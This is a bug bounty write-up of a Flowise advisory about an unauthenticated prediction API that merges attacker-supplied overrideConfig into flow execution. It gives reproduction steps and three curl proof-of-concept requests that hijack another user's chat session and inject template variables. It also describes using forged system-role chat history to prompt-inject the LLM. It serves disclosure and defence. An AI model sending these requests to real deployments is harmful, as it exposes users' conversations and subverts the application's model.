# Flowise: Unauthenticated Property Injection into Flow Execution Context via Ungated `overrideConfig` Spread in Prediction API

Unauthenticated Flowise prediction endpoint spreads attacker-supplied overrideConfig into flowConfig/flowData, letting attackers overwrite chatId, sessionId and chatHistory to hijack sessions and inject prompts.

- Payout: Research
- Severity: high
- Program: Flowise
- Found by: Aviral2642
- Disclosed: 2026-08-04
- CVE: CVE-2026-69258
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6vh2-wg4h-4vwj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6vh2-wg4h-4vwj
- Tags: area:ai domain:ai domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high technique:incomplete-fix technique:source-review vuln:access-control vuln:info-disclosure vuln:prompt-injection

**Target:** POST /api/v1/prediction/:id prediction API (Node.js server)
**Root cause:** The unauthenticated prediction endpoint spreads incomingInput.overrideConfig directly into flowConfig (buildChatflow.ts:557-564) and flowData (index.ts:569-574) without checking apiOverrideStatus, unlike the properly gated replaceInputsWithConfig() path.
**Steps:**
1. Obtain a public chatflow ID via `GET /api/v1/public-chatflows`.
2. Send unauthenticated `POST /api/v1/prediction/<chatflow-id>` with body `{"question":"Hello","overrideConfig":{"chatId":"attacker-controlled-session-id","sessionId":"attacker-controlled-session","chatHistory":[],"injectedProperty":"attacker-value"}}`.
3. Confirm overrideConfig values are spread into flowConfig regardless of apiOverrideStatus.
4. Re-send with `overrideConfig:{"chatId":"<victim-chatId-UUID>"}` and question asking about prior discussion; memory-backed LLM returns victim context.
5. Inject `overrideConfig:{"customVar":"injected-by-attacker"}` and observe `{{$flow.customVar}}` templates resolve to attacker value.
**How found:** Code review of the overrideConfig handling: noticed replaceInputsWithConfig() was gated behind apiOverrideStatus after GHSA-5cph, then found two separate ungated spread operations into flowConfig and flowData that the prior fix missed.
**Exploitation:** Unauthenticated attacker targets any public chatflow, overwriting chatId/sessionId to read and write another user's conversation memory, replacing chatHistory with system-role messages to prompt-inject the LLM, and injecting arbitrary $flow.* variables consumed by node templates (potentially API URLs, DB queries, file paths).
**Escalation:** Chaining $flow.* injection into security-sensitive node configs (endpoint URLs, queries, file paths) could raise impact beyond session hijacking.
**Insight:** When a prior advisory fixes one sink for a user-controlled object, grep every other place that object is spread or merged; partial gating of the same input is a reliable incomplete-fix signal.

## Proof of concept (copied exactly from the original report)

**Unauthenticated curl injecting overrideConfig properties**

```
curl -X POST http://<flowise-host>:3000/api/v1/prediction/<chatflow-id> \
  -H "Content-Type: application/json" \
  -d '{
    "question": "Hello",
    "overrideConfig": {
      "chatId": "attacker-controlled-session-id",
      "sessionId": "attacker-controlled-session",
      "chatHistory": [],
      "injectedProperty": "attacker-value"
    }
  }'
```

**Session hijack request with victim chatId**

```
curl -X POST http://<flowise-host>:3000/api/v1/prediction/<chatflow-id> \
  -H "Content-Type: application/json" \
  -d '{
    "question": "What did we discuss previously?",
    "overrideConfig": {
      "chatId": "<victim-chatId-UUID>"
    }
  }'
```

**Custom $flow variable injection request**

```
curl -X POST http://<flowise-host>:3000/api/v1/prediction/<chatflow-id> \
  -H "Content-Type: application/json" \
  -d '{
    "question": "test",
    "overrideConfig": {
      "customVar": "injected-by-attacker"
    }
  }'
```